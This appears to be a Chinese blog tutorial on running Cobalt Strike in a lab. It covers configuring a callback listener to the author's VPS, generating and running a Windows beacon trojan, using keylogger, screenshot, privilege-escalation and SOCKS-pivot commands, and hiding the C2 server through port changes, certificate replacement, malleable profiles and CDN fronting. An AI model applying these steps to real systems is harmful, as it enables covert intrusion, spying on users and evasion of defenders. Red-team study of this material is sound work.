&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/0971a7a0c0-image-20231219001831174.png&quot; alt=&quot;image-20231219001831174&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/9fe599d071-image-20231219001842074.png&quot; alt=&quot;image-20231219001842074&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;4.客户端的关闭(注意关闭操作)&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;最好在最左上方的Cobalt Strike点击-&amp;gt;退出(不然关闭不彻底有可能会出现用户名占用，下一次无法正常登录，需要更换用户名才能登录等奇奇怪怪的问题)&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;四、使用&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;./CobaltStrike4.0%E7%94%A8%E6%88%B7%E6%89%8B%E5%86%8C_%E4%B8%AD%E6%96%87%E7%BF%BB%E8%AF%91.pdf&quot;&gt;Cobalt Strike 4.0 手册——献给渗透测试人员的先进威胁战术（2019年12月2日更新版本）&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ctrl点击即可打开手册&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;https://cloud.tencent.com/developer/article/2371031&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;---Cobalt Strike最实用的24条命令（建议收藏）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;可参考参考这篇文章&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;1、配置监听器&lt;/h3&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/45e7307ad2-image-20231220105629915.png&quot; alt=&quot;image-20231220105629915&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/30b95f35f7-image-20231220105650433.png&quot; alt=&quot;image-20231220105650433&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1.名字&lt;/strong&gt;：随便取&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.payload&lt;/strong&gt;：一般来说常规的话都是使用Beacon HTTP&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.HTTP Hosts&lt;/strong&gt;：回连地址，HTTP Hosts写公网地址(我这里是上海vps 47.100.182.88，当然也可以添加多个公网地址，它就会朝不同地方弹shell，满足一个多人运动的需求)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4.HTTP Hosts(Stager)&lt;/strong&gt;：Stager大马下载地址，也就是木马服务端地址，一般来说默认填写公网服务器vps就可以了&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5.Profile&lt;/strong&gt;：可以去网络上下载配置文件，来做一个配置的修改，躲避查杀&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6.HTTP Port(C2)&lt;/strong&gt;：回连端口&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;7.HTTP Port(Bind)&lt;/strong&gt;：指定HTTP Beacon payload的一个web服务器绑定端口，如果说我们要设置端口的重定向，比如说接受来自80、443等重定向到另外一个端口上，我们就可以使用这样的一个重定向器，一般来说我们是不会去用到的&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;8.HTTP Host Header&lt;/strong&gt;：header头，它会在所有的HTTP数据包中加上一个固定的header头(就譬如说某些防火墙只允许某些HTTP包出入站，我就可以往这里去加，达到一个绕过防火墙的目的)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;9.HTTP Proxy&lt;/strong&gt;：代理，说明木马可以直接走跳板机，这里是木马&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/6bb273cbc0-image-20231220105950189.png&quot; alt=&quot;image-20231220105950189&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;设置完之后点击Save保存一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/c0d5cf6a0c-image-20231220124536107.png&quot; alt=&quot;image-20231220124536107&quot; /&gt;&lt;/p&gt;
&lt;p&gt;就可以看到多出来这么一条监听器&lt;/p&gt;
&lt;h3&gt;2、生成木马&lt;/h3&gt;
&lt;p&gt;由于我这里的靶机是windows所以我们需要生成的是windows的马&lt;/p&gt;
&lt;p&gt;(但是这里也要注意到这里&lt;strong&gt;生成不了Linux的马&lt;/strong&gt;，如果&lt;strong&gt;要生成&lt;/strong&gt;的话要去GitHub里面下载&lt;strong&gt;CrossC2&lt;/strong&gt;，不过&lt;strong&gt;生成过程很麻烦&lt;/strong&gt;，这里就不作演示了)&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/e73d6dbb02-image-20231220222427884.png&quot; alt=&quot;image-20231220222427884&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/473f8c6f7d-image-20231220222443270.png&quot; alt=&quot;image-20231220222443270&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/4d2e051113-image-20231220105439049.png&quot; alt=&quot;image-20231220105439049&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/90f03b7798-image-20231220125011000.png&quot; alt=&quot;image-20231220125011000&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/4118ef2f75-image-20231220125024348.png&quot; alt=&quot;image-20231220125024348&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;×64很抽象，有时候勾了反而还会连接失败，最好不勾&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/513db9864e-image-20231220125251231.png&quot; alt=&quot;image-20231220125251231&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/5ed1293cb0-image-20231220125212948.png&quot; alt=&quot;image-20231220125212948&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;都配置完后点击Generate生成，并保存到桌面，这时候可以发现桌面多了一个artifact.exe的可执行文件(当然命名可以随便改)，由于我这里的靶机windows10是虚拟机，将虚拟机的防火墙和实时监测等等防病毒的配置都关掉后，将木马(artifact.exe)拖进虚拟机，双击执行&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;日志上会显示监听成功&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/51a8ddcf1f-image-20231220125556226.png&quot; alt=&quot;image-20231220125556226&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h3&gt;3、心跳时间&lt;/h3&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/400c6e129b-image-20231220220158083.png&quot; alt=&quot;image-20231220220158083&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;sleep：心跳时间&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1、右键-&amp;gt;会话-&amp;gt;sleep-&amp;gt;更改心跳时间&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2、或者直接在最底下的beacon里面输入sleep 1(数字任意)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;为了理解它，我们举个例子，当我们发送shell whoami这条命令的时候可以发现它并不会立马回弹&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/196fa1c504-image-20231220215715164.png&quot; alt=&quot;image-20231220215715164&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;这边就是心跳时间起到的一个效果，测试&lt;strong&gt;cs默认的一个sleep是60秒&lt;/strong&gt;，也就是需要经过60秒才会执行这条命令，心跳时间可以设置长一点也可以设置短一点，如果跟它的&lt;strong&gt;通信比较卡，网络不是很好的的话可以把sleep设置长一点&lt;/strong&gt;，&lt;strong&gt;在渗透靶机模拟的过程中可以把sleep设置短一点，1或者0，如果设置成0的话就是直接交互&lt;/strong&gt;，它就不会有一个延迟，直接把数据发给对方，但是更改sleep时间也是需要经过心跳时间才能更改的，所&lt;strong&gt;以不管怎么样，一台机器上线后都有60秒的延迟&lt;/strong&gt;，如果要&lt;strong&gt;设置持久化监听的话可以把心跳时间设置长一点，就譬如20分钟一跳&lt;/strong&gt;，这样对方防火墙就很难监控到流量的一个异常，如果设置&lt;strong&gt;把sleep时间设置的非常短，防火墙就很容易监测到异常流量&lt;/strong&gt;，来源于同一个IP地址的异常&lt;/p&gt;
&lt;h3&gt;4、基础命令与功能&lt;/h3&gt;
&lt;p&gt;右键进入beacon，最底下就有了控制台，在&lt;strong&gt;beacon &amp;gt; 框内输入指令&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这里的命令也是&lt;strong&gt;可以通过Tab键来补全&lt;/strong&gt;的&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/2a3d7006c0-image-20231220221431196.png&quot; alt=&quot;image-20231220221431196&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;shell&lt;/strong&gt;:执行cmd命令(shell whoami)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;getuid&lt;/strong&gt;：获取UID&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;screenshot&lt;/strong&gt;：屏幕截图(屏幕截图这条命令打上以后，我们可以在最上方工具栏中的视图-&amp;gt;屏幕截图中观看【这里屏幕截图出来的质量会比msf要高，但这并不意味的更好，质量低一点传输速度还更快呢】)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;desktop&lt;/strong&gt;：远程桌面(运行此模块时不要使用System权限或者服务的权限【使用这些权限运行此模块，可能无法连接用户屏幕】，应尽量以指定用户权限使用此模块。正常运行此模块后的界面，如图所示，&lt;strong&gt;默认为只读模式，只能查看用户的桌面。单击界面下方的第二个图标，即可进入操作模式。&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;keylogger&lt;/strong&gt;：键盘记录(在&lt;strong&gt;视图-&amp;gt;键盘记录即可查看&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;help&lt;/strong&gt;:查看beacon操作命令&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ps&lt;/strong&gt;：查看进程；&lt;strong&gt;kill&lt;/strong&gt;：结束进程&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;getsystem&lt;/strong&gt;：获取System权限(System权限是Windows操作系统中第二高的权限。即使拥有System权限，也无法修改系统文件，TrustedInstaller权限是Windows操作系统中最高的权限。)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;右键-&amp;gt;中转-&amp;gt;SOCKS Server-&amp;gt;&lt;strong&gt;把它作为跳板机使用&lt;/strong&gt;(不过有时候可能会失败，看脸)&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/e0cb271e66-image-20231221170254418.png&quot; alt=&quot;image-20231221170254418&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/4a23b98eb7-image-20231221170344056.png&quot; alt=&quot;image-20231221170344056&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;我们来到公网服务器vps(&lt;strong&gt;teamserver&lt;/strong&gt;)上看看这个端口的开启情况&lt;/p&gt;
&lt;p&gt;(这里服务器要安装lsof【&lt;strong&gt;yum -y install lsof&lt;/strong&gt;】)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/7fe18fb10f-1-17031497373281.png&quot; alt=&quot;1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在客户端尝试一下(注意这里是SOCKS4代理不是SOCKS5)&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/7457fe645d-image-20231221202855707.png&quot; alt=&quot;image-20231221202855707&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/1cc72b4431-image-20231221203505479.png&quot; alt=&quot;image-20231221203505479&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看到可以正常代理上流量&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/617e707147-image-20231221203233349.png&quot; alt=&quot;image-20231221203233349&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h2&gt;五、隐藏&lt;/h2&gt;
&lt;p&gt;https://www.ddosi.org/cobalt-strike-bypass/&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;---cobalt strike特征隐藏|修改默认端口|去除证书特征|混淆配置&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;https://blog.csdn.net/shuteer_xu/article/details/106435793&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;---Cobalt Strike 证书修改&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;详细请看这两篇文章！&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;1、更改端口&lt;/h3&gt;
&lt;p&gt;肯定需要更改端口号50050，因为这是cs的默认监听端口，在服务端更改&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vim teamserver

#更改为自己喜欢的端口，这里我设置成18730
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/dc18b78a8f-image-20231223220307776.png&quot; alt=&quot;image-20231223220307776&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2、更改证书&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;查看teamserver脚本&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat teamserver
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以发现KeyStorePassword为123456&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/e0f7bf5906-image-20231223221827629.png&quot; alt=&quot;image-20231223221827629&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;1&amp;gt;keytool&lt;/h4&gt;
&lt;p&gt;​	在红蓝对抗中，防守方往往会有很多的设备审计流量。Cobalt Strike 服务端和客户端是通过 SSL 加密通讯的，默认情况下的SSL配置文件和代理配置文件导致 keystore 文件内容被用于防火墙识别。&lt;/p&gt;
&lt;p&gt;​	Keytool是一个java数据证书的管理工具，Keytool将密钥 和 证书 存放在一个称为 keystore 的文件中,即.store后缀的文件中。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[&amp;gt;] $ keytool
 密钥和证书管理工具
 
 命令:
 
  -certreq            生成证书请求
  -changealias        更改条目的别名
  -delete             删除条目
  -exportcert         导出证书
  -genkeypair         生成密钥对
  -genseckey          生成密钥
  -gencert            根据证书请求生成证书
  -importcert         导入证书或证书链
  -importpass         导入口令
  -importkeystore     从其他密钥库导入一个或所有条目
  -keypasswd          更改条目的密钥口令
  -list               列出密钥库中的条目
  -printcert          打印证书内容
  -printcertreq       打印证书请求的内容
  -printcrl           打印 CRL 文件的内容
  -storepasswd        更改密钥库的存储口令
 
 使用 &quot;keytool -command_name -help&quot; 获取 command_name 的用法
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;1.store文件结构&lt;/h5&gt;
&lt;p&gt;在keystore里，包含两种数据：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;密钥实体（Key entity）—— 密钥（secret key）又或者是私钥和配对公钥（采用非对称加密） 

可信任的证书实体（trusted certificate entries）——只包含公钥
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.查看证书文件&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;keytool -list -v -keystore cobaltstrike.store

Enter keystore password:123456
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看出CobaltStrike默认的store文件中的Alias name 、Onwer 和 Issuer 的信息，特征都比较明显。&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/a67618aea2-image-20231223222010423.png&quot; alt=&quot;image-20231223222010423&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h5&gt;3.创建服务端证书文件&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias Chrome -dname &quot;CN=051, OU=SSL-RSA, O=Chrome, L=Somewhere, ST=Cyberspace, C=Earth&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;模板：keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias you_name -dname &quot;CN=(名字与姓氏), OU=(组织单位名称), O=(组织名称), L=(城市或区域名称), ST=(州或省份名称), C=(单位的两字母国家代码)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功修改证书后，再次查看证书文件就会发现其中的哈希值会发送改变，指纹特征也会发送响应的变化起到一个隐藏的效果&lt;/p&gt;
&lt;p&gt;原本的证书和哈希值&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/2d880143d8-image-20231223225429537.png&quot; alt=&quot;image-20231223225429537&quot; /&gt;&lt;/p&gt;
&lt;p&gt;修改后的证书和哈希值&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/a7bf459dd3-1-17033435037171.png&quot; alt=&quot;1&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;【这里遇到的问题是还存在原来的SSL证书，不过当再次启动的cs服务端的时候就会发现SSL证书已经修改了默认值了，所以无伤大雅】&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;再次启动一下看看SSL证书&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/f730d3ae0c-5-17034128209401.png&quot; alt=&quot;5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以发现SSL证书改变了&lt;/p&gt;
&lt;h4&gt;2&amp;gt;keystore&lt;/h4&gt;
&lt;p&gt;​	这个是使用第三方提供的一个SSL证书对流量进行一个修改，配置较为麻烦，需要自己去申请一个SSL证书，这是一个比较推荐的做法，隐蔽度高，因为有第三方机构给你做一个背书，可以躲过很多的一个流量追查，前面是我们自己修改的一个证书，可信度低，一般情况下使用前面keytool的方法就够用了，修改掉默认流量就可以了&lt;/p&gt;
&lt;h3&gt;3、配置C2-profile&lt;/h3&gt;
&lt;p&gt;在GitHub上下载Malleable-C2-Profiles-master&lt;/p&gt;
&lt;p&gt;https://github.com/rsmudge/Malleable-C2-Profiles&lt;/p&gt;
&lt;p&gt;根据里面的文件在服务端随便创建一个profile文件，这里我选择&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/71803e7a22-image-20231224182817081.png&quot; alt=&quot;image-20231224182817081&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/9f69b27e20-image-20231224182859263.png&quot; alt=&quot;image-20231224182859263&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;服务端&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;vim havex.profile
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/4c02e10610-image-20231224182936855.png&quot; alt=&quot;image-20231224182936855&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;把文件贴进去，贴进去后先不着急的使用，我们先做一个监测，看看文件是否能够使用，这里我们用到cs文件包内其中一款工具为&lt;strong&gt;c2lint&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;先给它可执行权限&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;chmod +x c2lint
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/100f89c15d-image-20231224183556029.png&quot; alt=&quot;image-20231224183556029&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后使用这个工具进行监测&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./c2lint havex.profile
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/07d0dfc044-image-20231224183647970.png&quot; alt=&quot;image-20231224183647970&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/10664184d8-image-20231224183731266.png&quot; alt=&quot;image-20231224183731266&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;我们主要看最底下那行，出现警告不要慌，没有报错就能跑&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用证书启动teamserver&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;csstart ./havex.profile

#csstart是封装过后的命令，要是换为原命令就要这么写

./teamserver 47.100.182.88 &amp;lt;teamserver-password&amp;gt; ./havex.profile
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/966374c197-image-20231224184258035.png&quot; alt=&quot;image-20231224184258035&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;前三个的隐藏效果是对方找到你服务器后，不知道这是cs服务器&lt;/p&gt;
&lt;p&gt;接下来的四和五就需要去搞资源了，相对来说比较麻烦，属于进阶&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;4、CDN&lt;/h3&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/270d5dddb5-image-20231224185853921.png&quot; alt=&quot;image-20231224185853921&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h5&gt;&lt;strong&gt;CDN的原理&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;CDN这个技术其实说起来并不复杂，最初的核心理念，就是&lt;strong&gt;将内容缓存在终端用户附近&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;内容源不是远么？那么，我们就在靠近用户的地方，建一个缓存服务器，把远端的内容，复制一份，放在这里，不就OK了？&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/f4b193ec50-image-20231224190040240.png&quot; alt=&quot;image-20231224190040240&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;因为这项技术是把内容进行了分发，所以，它的名字就叫做CDN——&lt;strong&gt;Content Delivery Network，内容分发网络&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;具体来说，CDN就是采用更多的缓存服务器（CDN边缘节点），布放在用户访问相对集中的地区或网络中。当用户访问网站时，利用全局负载技术，将用户的访问指向距离最近的缓存服务器上，由缓存服务器响应用户请求。（有点像电商的本地仓吧？）&lt;/p&gt;
&lt;p&gt;大家可能觉得，这个不就是**“镜像服务器”**嘛？其实不一样。镜像服务器是源内容服务器的完整复制。而CDN，是部分内容的缓存，智能程度更高。&lt;/p&gt;
&lt;p&gt;确切地说，&lt;strong&gt;CDN=更智能的镜像+缓存+流量导流&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;而且还需要注意的是，CDN并不是只能缓存视频内容，它还可以对网站的静态资源（例如各类型图片、html、css、js等）进行分发，对移动应用APP的静态内容（例如安装包apk文件、APP内的图片视频等）进行分发。&lt;/p&gt;
&lt;p&gt;我们来举个例子，看看CDN的具体&lt;strong&gt;工作流程&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;如果某个用户想要访问优酷的视频点播内容，那么：&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/cobalt-strike-notes/621b714ba9-image-20231224190130195.png&quot; alt=&quot;image-20231224190130195&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;具体步骤：&lt;/p&gt;
&lt;p&gt;①、当用户点击APP上的内容，APP会根据URL地址去&lt;strong&gt;本地DNS&lt;/strong&gt;（域名解析系统）寻求IP地址解析。&lt;/p&gt;
&lt;p&gt;②、本地DNS系统会将域名的解析权交给&lt;strong&gt;CDN专用DNS服务器&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;③、CDN专用DNS服务器，将CDN的全局负载均衡设备IP地址返回用户。&lt;/p&gt;
&lt;p&gt;④、用户向&lt;strong&gt;CDN的负载均衡设备&lt;/strong&gt;发起内容URL访问请求。&lt;/p&gt;
&lt;p&gt;⑤、CDN负载均衡设备根据用户IP地址，以及用户请求的内容URL，选择一台用户所属区域的&lt;strong&gt;缓存服务器&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;⑥、负载均衡设备告诉用户这台缓存服务器的IP地址，让用户向所选择的缓存服务器发起请求。&lt;/p&gt;
&lt;p&gt;⑦、用户向缓存服务器发起请求，缓存服务器响应用户请求，将用户所需内容传送到用户终端。&lt;/p&gt;
&lt;p&gt;⑧、如果这台缓存服务器上并没有用户想要的内容，那么这台缓存服务器就要网站的&lt;strong&gt;源服务器&lt;/strong&gt;请求内容。&lt;/p&gt;
&lt;p&gt;⑨、源服务器返回内容给缓存服务器，缓存服务器发给用户，并根据用户自定义的缓存策略，判断要不要把内容缓存到缓存服务器上。&lt;/p&gt;
&lt;h5&gt;&lt;strong&gt;CDN的好处&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;采用CDN技术，最大的好处，就是加速了网站的访问——用户与内容之间的物理距离缩短，用户的等待时间也得以缩短。&lt;/p&gt;
&lt;p&gt;而且，分发至不同线路的缓存服务器，也让跨运营商之间的访问得以加速。&lt;/p&gt;
&lt;p&gt;例如中国移动手机用户访问中国电信网络的内容源，可以通过在中国移动假设CDN服务器，进行加速。效果是非常明显的。&lt;/p&gt;
&lt;p&gt;此外，CDN还有安全方面的好处。内容进行分发后，源服务器的IP被隐藏，受到攻击的概率会大幅下降。而且，当某个服务器故障时，系统会调用临近的健康服务器，进行服务，避免对用户造成影响。&lt;/p&gt;
&lt;p&gt;正因为CDN的好处很多，所以，目前所有主流的互联网服务提供商，都采用了CDN技术。所有的云服务提供商，也都提供了CDN服务（价格也不算贵，按流量计费）。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;​	简单来说 把客户端要请求的资源 在靠近客户端侧准备一个备份，可以分区域准备一些备用服务器来存储这些资源，CDN的DNS 会将客户端的请求的域名  解析的一个靠近的备用服务器的地址会给客户端。这样客户端 不需要都去 服务器那里请求资源  备用服务器上存储的资源就可以满足客户端的需求。减轻服务端的压力。&lt;/p&gt;
&lt;p&gt;​	有个比喻可能比较恰当，我想大家都有在京东购物过，而快递快是京东快递的优势之一。这是因为京东在你所在的城市附近都建立了京东仓库，把热门商品都提前屯在这里了。如果用户下单后，该商品在附近仓库存在，则就近发货，而无需从商品源地址发货。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;配置及其麻烦，不过配置过一遍就容易了&lt;/p&gt;
&lt;p&gt;首先呢我们需要有一个域名，这里有几个可以获取域名的网址&lt;/p&gt;
&lt;h5&gt;域名&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;https://www.freenom.com/zh/index.html?lang=zh&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;https://www.godaddy.com/zh-sg&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;获取到域名后，接下来去CDN平台&lt;/p&gt;
&lt;h5&gt;CDN平台&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;https://www.cloudflare.com/zh-cn/&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;接下来把域名提交到CDN平台上，网上看教程&lt;/p&gt;
&lt;p&gt;这时候CDN平台就会开始分配DNS服务器，当分配完成的时候就可以拿到一个DNS的A记录解析到VPS的IP，这个时候服务端的监听地址就选择CDN地址&lt;/p&gt;
